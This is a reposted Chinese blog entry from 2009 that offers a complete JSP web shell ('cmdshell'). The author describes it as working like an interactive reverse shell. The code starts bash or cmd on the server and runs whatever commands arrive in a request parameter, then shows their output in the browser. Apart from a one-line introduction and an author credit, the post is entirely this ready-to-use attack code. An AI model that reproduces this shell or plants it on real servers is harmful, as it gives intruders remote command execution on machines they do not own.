首页 电脑 电脑学堂 查看内容

支持dir等命令的jsp cmdshell

2009-10-30 09:59 1095 0

摘要:  一个jsp的cmdshell支持windows及linux可以实现命令交互,相当于一个反弹的shell,支持等dir命令。 转载请注明出处: Made By 孤水绕城 QQ:5404...
关键词: nbsp available 540410588 命令 支持 String 一个 byte Made getErrorStream

 一个jsp的cmdshell支持windows及linux可以实现命令交互,相当于一个反弹的shell,支持等dir命令。 转载请注明出处: Made By 孤水绕城 QQ:540410588 Blog:http://hi.baidu.com/540410588/ <%@page contentType="text/html;charset=gb2312"%><%@ page import="java.io.*"%><%    File f = new File("/");    String txt=(String)session.getAttribute("txt");      Process pro=(Process)session.getAttribute("cmd");    String v = request.getParameter("v");    boolean isLinux=System.getProperty("os.name").startsWith("Linux");    if(pro==null)    {      if(isLinux){      pro=Runtime.getRuntime().exec("bash",null,f);      }else{      pro=Runtime.getRuntime().exec("cmd",null,f);            }      session.setAttribute("cmd",pro);      txt="";    }    if(v.equals("clear")){      txt="";      return;    }else if(v.equals("exit"))    {      session.removeAttribute("cmd");    }     if(v!=null)    {     v=v+"\r\n";     OutputStream os=pro.getOutputStream();        os.write(v.getBytes());      os.flush();    }    if(v!=null||(txt.length()==0))    {     InputStream is=pro.getInputStream();     for(int i=0;i<10||is.available()>0;i++)     {     if(i==9)is=pro.getErrorStream();     if(is.available()==0)     {      Thread.sleep(500L);     }else     {      i=0;      byte by[]=new byte[is.available()];      is.read(by);      String str=new String(by).replaceAll("<","&lt;");      int cls=str.lastIndexOf("\f");      txt=cls==-1?txt+str:str.substring(cls+1);     }     }     session.setAttribute("txt",txt);    }    out.print("<pre>"+txt+"</pre>");   out.print("Made By 孤水绕城");%>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部